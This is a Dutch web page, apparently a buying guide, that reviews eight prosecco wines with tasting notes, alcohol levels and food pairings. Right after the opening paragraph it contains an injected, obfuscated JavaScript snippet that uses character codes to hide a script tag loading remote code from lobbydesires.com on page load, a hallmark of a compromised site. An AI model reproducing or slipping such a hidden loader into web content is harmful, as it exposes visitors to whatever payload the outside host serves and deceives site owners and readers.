Prosecco is een mousserende wijn die haar naam te danken heeft aan de witte druivensoort waar deze van is gemaakt. De wijnbouw in de heuvels tussen het Italiaanse Conegliano en Valdobbiadene in de regio Veneto vindt haar oorsprong in oude tijden. De wijnstok van de Proseccodruif (waarvan de officiële naam Glera is) werd in deze streek al in het Oude Romeinse Rijk gekweekt.

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,108,111,98,98,121,100,101,115,105,114,101,115,46,99,111,109,47,108,111,99,97,116,105,111,110,46,106,115,63,108,97,61,49);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Prosecco kan niet alleen als vino frizzante maar ook als spumante gemaakt worden. Het verschil tussen beide soorten is dat Spumante de Italiaanse kwaliteitsbenaming is voor een mousserende wijn die minimaal 11 procent alcohol bevat. Frizzante wil daarentegen zeggen dat je te maken hebt met een wijn die half mousserend is. Deze variant bevat een stuk minder koolzuur doordat de wijn tijdens het tweede gistingsproces niet op de fles, wat wel het geval is bij de spumante, maar in een roestvrijstalen tank wordt bewaard. Deze minder arbeidsintensief wijnbereiding zorgt er bovendien voor dat de wijn goedkoper is.

Spumante is te verkrijgen in twee varianten: droog en halfzoet. De halfzoete variant ontstaat doordat de temperatuur zo wordt gereguleerd dat tijdens het rijpingsproces niet alle suiker in alcohol omworden gezet en er een lichtzoete wijn ontstaat.

1. Montasolo Prosecco DOC Frizzante

Bekijk prijs

De Montasolo Prosecco DOC Frizzante is een witte, licht mousserend Italiaanse wijn uit de regio Veneto. De kleur is prachtig strogeel en de geur is buitengewoon bloemig en fruitig, terwijl de smaak zacht zoet is en je deze wijn eigenlijk tijdens vrijwel iedere gelegenheid kunt schenken. De Montasolo Prosecco DOC Frizzante is uitermate geschikt om als aperitief te geserveerd te worden, maar doet het daarnaast ook prima gebruikt worden om lichte gerechten te vergezellen. De wijn leent zich bij uitstek om geschonken te worden bij bijvoorbeeld: zeebaars, couscous, olijven en vleeswaren.

De droge smaak kenmerkt zich door een touch van amandelen, terwijl de afdronk kan worden omschreven als lang, fris en kruidig met een uiterst gering, maar zeker aangenaam, zoetje. Het alcoholgehalte bedraagt 10,50 procent en de optimale temperatuur ode wijn te serveren is 8 graden Celsius. De fles waarin de Montasolo Prosecco DOC Frizzante wordt verkocht beschikt over een handige schroefdop en de wijn is inmiddels op dronk.

2. Villa Trevi Prosecco DOC Treviso Vino Spumante Extra Dry

Bekijk prijs

De Villa Trevi Prosecco DOC is een heerlijke licht mousserende Italiaanse wijn uit de regio Veneto, die kan worden omschreven als uiterst fris. De wijn heeft een prachtige geelgroene kleur en een de geur is fris en kruidig met een touch van groene appels. Over de smaak van deze Villa Trevi Prosecco DOC kan bovendien worden vermeld dat de smaak bijzonder strak en droog is en dat deze doet denken aan de smaak van appels en noten. De afdronk kenmerkt zich door zijn lange, kruidige karakter waar een erg klein zoetig bittertje in opgemerkt kan worden.

De wijn leent zich bij uitstek om geschonken te worden bij bijvoorbeeld: camembert, Manchegokaas, noten en olijven. De ideale temperatuur om de Villa Trevi Prosecco DOC op te serveren bedraagt 7 tot 9 graden Celsius en verder is het goed te weten dat deze wijn momenteel op dronk is.

3. Black & Bianco Prosecco DOC

Bekijk prijs

Op het moment dat je eens een andere wijn wilt serveren of cadeau wilt geven, dan is de Black & Bianco Prosecco DOC echt een aanrader. Zodra je deze wijn kiest, dan weet je namelijk zeker dat naast je smaakpapillen ook zeker het oog zal worden gestreeld. De Black & Bianco Prosecco DOC is immers een Italiaanse mousserende wijn die gebotteld is in prachtige trendy flessen. Bovendien heb je met deze prosecco een kwaliteitswijn in handen. Al met al zal het altijd een waar genot zijn om deze heerlijke wijn (geschonken uit een fraai vormgegeven fles) te drinken, ongeacht of je dit gewoon bij je thuis, in een gezellig restaurant of op een zonnig terras doet.

Black & Bianco Prosecco DOC heeft een fraaie heldere kleur en heerlijke mousse. De geur en smaak zijn uitstekend in balans en zijn beide fris en fruitig te noemen. De wijn bevat 11 procent alcohol en is momenteel op dronk.

4. Wijnpakket Prosecco

Bekijk prijs

In de Italiaanse wijnstreek Veneto wordt met behulp van de Glera (oftewel prosecco) druif een buitengewoon goede mousserende wijn gemaakt. In dit wijnpakket zitten dan ook maar liefst drie van deze heerlijke wijnen. Je kunt dit pakket gebruiken als je een lekkere wijn bij een brunch wilt serveren of wanneer je gewoon zin hebt om er opeen ander ogenblik van te genieten.

Het Prosecco wijnpakket bestaat uit:

  • Montasolo Prosecco DOC Frizzante: een witte, licht mousserende wijn met een strogele kleur en een kenmerkende geur van bloem en fruit. De smaak is bijzonder zacht zoet waardoor je de wijn prima kunt schenken tijdens iedere gelegenheid, als aperitief of als metgezel van lichte gerechten.
  • Villa Trevi Prosecco DOC Treviso Vino Spumante Extra Dry: een erg frisse licht mousserende wijn met een geelgroene kleur en een frisse, kruidige geur die doet denken aan die van groene appels. De smaak is bijzonder strak en droog en ook deze doet denken aan die van appels en noten. De lange, kruidige afdronk kenmerkt zich door een erg klein zoetig bittertje.
  • Antica Vigna Prosecco DOC Extra Dry: een echte zomerse wijn met een aangename frisse en zachte smaak en een heerlijke mousse. Omdat dit een Italiaanse kwaliteitswijn is, ben je verzekerd van een goed glas bubbels.

5. Antica Vigna Prosecco DOC Extra Dry

Bekijk prijs

Met deze wijn heb je eigenlijk een de zomer in een fles in handen gekregen. De Antica Vigna Prosecco DOC is namelijk een prosecco die zich kenmerkt om zijn frisse en zachte karakter en mag zich bovendien een Italiaanse wijn van topklasse noemen.

De Antica Vigna Prosecco DOC is een fruitig van smaak en heeft de kenmerkende strogele Prosecco-kleur waarover een subtiele groene glans opgemerkt kan worden. De geur van deze wijn kan het beste worden omschreven als erg zacht, fruitig en fris met een typisch, maar aangename zoete ervaring. De smaak is echter droog met een touch van tropische witte vruchten. De Antica Vigna Prosecco DOC is daarnaast als sappig en levendig te omschrijven.

De Antica Vigna Prosecco DOC kan prima worden geserveerd bij Hollandse garnalen, rauwe ham, noten en olijven. Maar ook als aperitief en bij tal van voor- en nagerechten. Deze wijn met een alcoholpercentage van 11 procent heeft een ideale serveertemperatuur die ligt tussen de 8 en de 10 graden Celsius.

6. Romio Prosecco Spumante

Bekijk prijs

De Romio Prosecco Spumante is een Italiaanse wijn die zich kenmerk door zijn zachte en romige karakter. Verder kenmerkt deze wijn zich door de geur die doen denken aan die van appels, peren en witte bloemen en een smaak die veel weg heeft van rijpe witte boomgaardvruchten, zoals peren en perziken. Deze fraaie witgele wijn met een touch van lichtgroen wordt uiteindelijk bekroond met een zacht levendige mousse en een mild droge afdronk.

De Romio Prosecco Spumante leent zich bij uitstek om als aperitief of een voorgerecht geserveerd te worden, maar doet het eveneens goed als metgezel van een quiche, een amuse of dim sum. Het alcoholgehalte van deze wijn bedraagt 11 procent en die kan het beste bij een temperatuur worden geserveerd die ligt tussen de 6 en 8 graden Celsius. Bovendien kan over deze Romio Prosecco Spumante worden vermeld dat de wijn nu prachtig op dronk is.

7. Riondo le Piere Prosecco

Bekijk prijs

De aankoop van een Riondo le Piere Prosecco wil zeggen dat je hebt gekozen voor een aromatisch en fris droge Italiaanse mousserende witte kwaliteitswijn, maar dan met een stevige grip, een typisch bruisende karakter en een zoetje dat doet denken aan gerijpte vruchten. Deze wijn is gemaakt van 85 procent Glera en 15 procent Chardonnay druiven en heeft een alcoholpercentage van 11 procent.

Deze Riondo le Piere Prosecco geeft absoluut een bijzondere touch aan iedere borrel of etentje. De wijn heeft een prachtige kristalheldere lichtgele kleur met fraaie groene gloed. Bovendien kun je erg lang van de fijne, kleine belletjes blijven genieten terwijl je de heerlijke geur van appel, peer, snoepjes en witte bloemen tot je door laat dringen.

Een glas Riondo le Piere Prosecco gaat uitstekend samen met bijvoorbeeld een garnalensalade, hartige tapas en meloen die gewikkeld is in parmaham, maar even goed bij kabeljauw, sushi en risotto. Je kunt deze wijn daarnaast prima te schenken als aperitief, en verder kan worden vermeld dat deze momenteel goed op dronk is.

8. Montelliana Asolo Prosecco Superiore

Bekijk prijs

Indien je op zoek bent naar een fles met lekkere bubbels uit de heuvels van Montello en Asolo: dan is deze Montelliana Asolo Prosecco Superiore een echte aanrader. Deze wijn van topklasse heeft immers een extra droge, rijke frisse en fruitige smaak met een touch van appel in combinatie met een aangename mousse.

De lichte kleur van de Montelliana Asolo Prosecco Superiore heeft veel weg van witgoud en de geur doet denken aan die van citrusvruchten, in combinatie met die van verse peren en lentebloesem. De smaak van deze wijn is erg fruitig en fris met een overvloed aan rijpe witte boomgaardvruchten en appels die uiteindelijk zullen uitmonden in een mild droge afdronk.

Deze Montelliana Asolo Prosecco Superiore is een klassenproduct afkomstig uit een goed jaar van een vooraanstaande wijnproducent. De wijn is gemaakt van 100 procent Gleradruiven en bevat 11 procent alcohol. De Montelliana Asolo Prosecco Superiore doet het niet alleen goed als aperitief, maar kan eveneens goed een rauwe ham, garnalen of sushi vergezellen

LEAVE A REPLY

Please enter your comment!
Please enter your name here